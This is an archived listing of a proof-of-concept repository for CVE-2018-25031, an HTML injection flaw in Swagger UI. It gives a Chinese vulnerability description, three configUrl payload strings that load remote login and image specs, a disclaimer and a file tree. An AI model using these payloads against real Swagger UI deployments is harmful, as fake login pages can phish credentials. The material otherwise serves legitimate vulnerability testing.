Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-25031 PoC — Swagger UI 输入验证错误漏洞

Source
Associated Vulnerability
Title:Swagger UI 输入验证错误漏洞 (CVE-2018-25031)
Description:Swagger UI是一款支持可视化API资源并能够与之进行交互的开源工具。 Swagger-api Swagger UI 4.1.3之前版本中存在安全漏洞,该漏洞源于软件缺少对于用户提交的URL数据过滤和转义。攻击者可以通过特制的URL数据利用该漏洞进行欺骗攻击并显示远程OpenAPI定义。
Description
POC for Testing HTML Injection in Swagger UI (CVE-2018-25031).
Readme
# swagger-ui

POC for Testing HTML Injection in Swagger UI (CVE-2018-25031).

## Payloads
### 1 - Login
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/login.json`

### 2 - Remote Login
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/remote-login.json`

### 2 - Image
`?configUrl=https://raw.githubusercontent.com/rh007pt/swagger-ui/refs/heads/main/img.json`

---

📌 **Disclaimer**: The content in this repository is provided for educational and informational purposes only. The author is not responsible for any misuse. Ensure you have proper authorization before use, act responsibly at your own risk, and follow all legal and ethical guidelines.
File Snapshot

[4.0K] /data/pocs/2becc41d57d719f6b384ede833e8af05d8793707 ├── [ 270] img.json ├── [1021] img.yaml ├── [1.0K] LICENSE ├── [ 274] login.json ├── [2.8K] login.yaml ├── [ 718] README.md ├── [ 288] remote-login.json └── [ 857] remote-login.yaml 0 directories, 8 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.